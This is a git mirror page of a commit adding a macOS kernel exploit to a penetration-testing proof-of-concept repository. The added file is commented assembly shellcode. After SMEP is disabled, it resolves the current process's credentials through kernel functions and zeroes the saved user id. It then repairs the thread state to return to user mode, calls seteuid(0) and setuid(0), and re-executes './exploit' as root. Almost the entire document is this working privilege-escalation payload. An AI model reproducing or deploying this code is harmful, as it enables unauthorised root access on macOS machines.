mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-05-22 04:12:31 +08:00
add macOS-Kernel-Exploit
This commit is contained in:
@@ -0,0 +1,149 @@
|
||||
; This is the privilege escalation code and it will be run
|
||||
; after we've disabled SMEP. I'm doing this in assembly because
|
||||
; the kernel is going to execute this code as 64bit so the privilege
|
||||
; escalation part has to be 64bit. However our exploit program is 32bit
|
||||
; and the simplest way to have 64 and 32 bit code in one binary is probably
|
||||
; writing the 64bit part in assembly and linking it to the 32 bit code.
|
||||
bits 64
|
||||
section __TEXT,__text
|
||||
|
||||
; Helper to fix relative accesses bc of PIE
|
||||
getRIP:
|
||||
mov rax, [rsp]
|
||||
ret
|
||||
|
||||
; This is the function we're trying to implement
|
||||
; void escalatePrivs() {
|
||||
; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc()));
|
||||
; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */
|
||||
; return;
|
||||
; }
|
||||
global _escalatePrivs
|
||||
_escalatePrivs:
|
||||
swapgs
|
||||
|
||||
call getRIP
|
||||
add rax, _current_proc - $
|
||||
mov rax, [rax]
|
||||
|
||||
call rax; current_proc()
|
||||
|
||||
mov rdi, rax
|
||||
|
||||
call getRIP
|
||||
add rax, _proc_ucred - $
|
||||
mov rax, [rax]
|
||||
|
||||
call rax; proc_ucred(current_proc())
|
||||
|
||||
mov rdi, rax
|
||||
|
||||
call getRIP
|
||||
add rax, _posix_cred_get - $
|
||||
mov rax, [rax]
|
||||
|
||||
call rax; posix_cred_get(proc_ucred(current_proc())) \o/
|
||||
|
||||
; rax contains a pointer to our posix cred stucture at this point
|
||||
;
|
||||
; struct posix_cred {
|
||||
; /*
|
||||
; * The credential hash depends on everything from this point on
|
||||
; * (see kauth_cred_get_hashkey)
|
||||
; */
|
||||
; uid_t cr_uid; /* effective user id */
|
||||
; uid_t cr_ruid; /* real user id */
|
||||
; uid_t cr_svuid; /* saved user id */
|
||||
; short cr_ngroups; /* number of groups in advisory list */
|
||||
; gid_t cr_groups[NGROUPS]; /* advisory group list */
|
||||
; gid_t cr_rgid; /* real group id */
|
||||
; gid_t cr_svgid; /* saved group id */
|
||||
; uid_t cr_gmuid; /* UID for group membership purposes */
|
||||
; int cr_flags; /* flags on credential */
|
||||
; }
|
||||
;
|
||||
; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid
|
||||
; to prevent crashing later on. Overwriting the cr_svuid will enable us
|
||||
; to call seteuid(0)&setuid(0) in order for us to get root
|
||||
|
||||
mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00;
|
||||
; we're root !!! But we still need to return back to userland
|
||||
; to be able to make use of our new privileges
|
||||
|
||||
|
||||
; The easiest way to return back to userland is probably
|
||||
; just calling _return_to_user, but since we have a
|
||||
; kind of fucked up thread structure, we'll need to fix that first.
|
||||
|
||||
|
||||
mov r15, qword [gs:0x08]; Get Thread structure
|
||||
mov r15, qword [r15+0x428]; thread saved_state
|
||||
|
||||
; Calculate address of resume_task
|
||||
call getRIP
|
||||
add rax, resume_task - $
|
||||
|
||||
; populate our saved_state with sane values
|
||||
mov dword [r15+0x48], eax ; New eip
|
||||
mov dword [r15+0x50], 0x00200282 ; New eflags
|
||||
mov dword [r15+0x4c], 0x1b ; New cs
|
||||
mov dword [r15+0x54], 0x500 ; New esp
|
||||
mov dword [r15+0x58], 0x23 ; New ss
|
||||
|
||||
mov dword [r15+0x1c], 0x23 ; New ds
|
||||
mov dword [r15+0x18], 0x23 ; New es
|
||||
mov dword [r15+0x14], 0x00 ; New fs
|
||||
mov dword [r15+0x10], 0x00 ; New gs
|
||||
|
||||
call getRIP
|
||||
add rax, _return_to_user - $
|
||||
mov rax, [rax]
|
||||
|
||||
jmp rax
|
||||
|
||||
hlt
|
||||
|
||||
|
||||
bits 32
|
||||
|
||||
resume_task:
|
||||
; seteuid(0) + setuid(0)
|
||||
mov eax, 183
|
||||
xor ebx, ebx
|
||||
int 0x80
|
||||
mov eax, 23
|
||||
xor ebx, ebx
|
||||
int 0x80
|
||||
|
||||
; Exec our own process again, but this time as root ;)
|
||||
xor eax, eax
|
||||
push eax
|
||||
push 0x00000074
|
||||
push 0x696f6c70
|
||||
push 0x78652f2e
|
||||
mov ebx, esp
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
mov al, 0x3b
|
||||
push byte 0x2a
|
||||
int 0x80
|
||||
|
||||
|
||||
section __DATA,__data
|
||||
|
||||
global _current_proc
|
||||
_current_proc:
|
||||
dq 0xfeedface; placeholder
|
||||
|
||||
global _posix_cred_get
|
||||
_posix_cred_get:
|
||||
dq 0xfeedface; placeholder
|
||||
|
||||
global _proc_ucred
|
||||
_proc_ucred:
|
||||
dq 0xfeedface; placeholder
|
||||
|
||||
global _return_to_user
|
||||
_return_to_user:
|
||||
dq 0xfeedface; placeholder
|
||||
Reference in New Issue
Block a user